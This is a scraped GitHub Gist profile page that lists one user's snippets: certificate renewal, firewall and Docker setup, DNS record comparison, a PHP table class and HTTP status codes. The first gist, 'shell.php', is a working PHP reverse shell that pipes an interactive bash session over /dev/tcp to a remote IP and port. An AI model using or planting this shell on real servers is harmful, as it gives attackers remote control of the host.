Skip to content

Instantly share code, notes, and snippets.

View Rudis1261's full-sized avatar

Rudi Strydom Rudis1261

View GitHub Profile
@Rudis1261
Rudis1261 / shell.php
Created March 3, 2022 11:00 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@Rudis1261
Rudis1261 / check_certificate_validity.php
Last active September 2, 2021 14:49
A PHP Script to check a host's certificate validity, and automatically renew it. Using https://letsencrypt.org/
#!/usr/bin/env php
<?php
error_reporting(-1);
ini_set('displayErrors', 1);
echo PHP_EOL . PHP_EOL ."====================START=========================";
echo PHP_EOL . "RUN ON:\t\t\t\t" . date('d M Y G:i', time()) . PHP_EOL;
// Check the host
@Rudis1261
Rudis1261 / firewall.sh
Created November 3, 2016 06:15
Firewall Setup Script
#!/bin/bash
source hostlist.sh
hostname=`hostname`
private_range=$(printf ",%s" "${ips[@]}")
private_range=${private_range:1}
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
@Rudis1261
Rudis1261 / class.table.php
Last active November 28, 2018 01:25
PHP Tables Class. I use this class to create tables quicker without hand coding out the HTML. We basically treat the arrays are HTML properties=>values.
<?php
# Author: Rudi Strydom
# Date: Aug 2013
# Purpose: Building a quick and dirty table class. To transform an array to a table
class Table
{
public $table_attributes = array();
public $table_heading = array();
@Rudis1261
Rudis1261 / Dockerfile
Last active November 8, 2018 22:36
Rails Docker Setup
FROM ruby:2.3.1
RUN apt-get update -qq && apt-get install -y build-essential libpq-dev nodejs
RUN apt-get install -y imagemagick
RUN mkdir /usr/local/rails-app
WORKDIR /usr/local/rails-app
ADD Gemfile Gemfile
ADD Gemfile.lock Gemfile.lock
RUN bundle install
@Rudis1261
Rudis1261 / test_dns_records.sh
Created May 10, 2018 17:25
A script I used to compare my old DNS v.s my new DNS to ensure all the records match
#!/bin/bash
domain=$1
server=$2
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
@Rudis1261
Rudis1261 / test_dns_records.sh
Created May 10, 2018 17:25
A script I used to compare my old DNS v.s my new DNS to ensure all the records match
#!/bin/bash
domain=$1
server=$2
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1
@Rudis1261
Rudis1261 / create_mariadb_docker.sh
Last active December 14, 2017 07:16
Creating a docker MySQL instance
mkdir -p /data/mysql
echo "CREATING CONTAINER MySQL (Mariabd)"
docker run \
-d \
-e MYSQL_ROOT_PASSWORD=root \
-e MYSQL_ROOT_HOST=% \
-v /data/mysql:/var/lib/mysql \
-p 3306:3306 \
-i \
@Rudis1261
Rudis1261 / rails http status codes
Created November 6, 2017 18:30 — forked from mlanett/rails http status codes
HTTP status code symbols for Rails
HTTP status code symbols for Rails
Thanks to Cody Fauser for this list of HTTP responce codes and their Ruby on Rails symbol mappings.
Status Code Symbol
1xx Informational
100 :continue
101 :switching_protocols
102 :processing
@Rudis1261
Rudis1261 / convert_ascii.php
Created October 1, 2017 00:44 — forked from jaywilliams/convert_ascii.php
This simple function will remove any non-ASCII character. Feel free to fork and extend!
<?php
/**
* Remove any non-ASCII characters and convert known non-ASCII characters
* to their ASCII equivalents, if possible.
*
* @param string $string
* @return string $string
* @author Jay Williams <myd3.com>
* @license MIT License
* @link http://gist.github.com/119517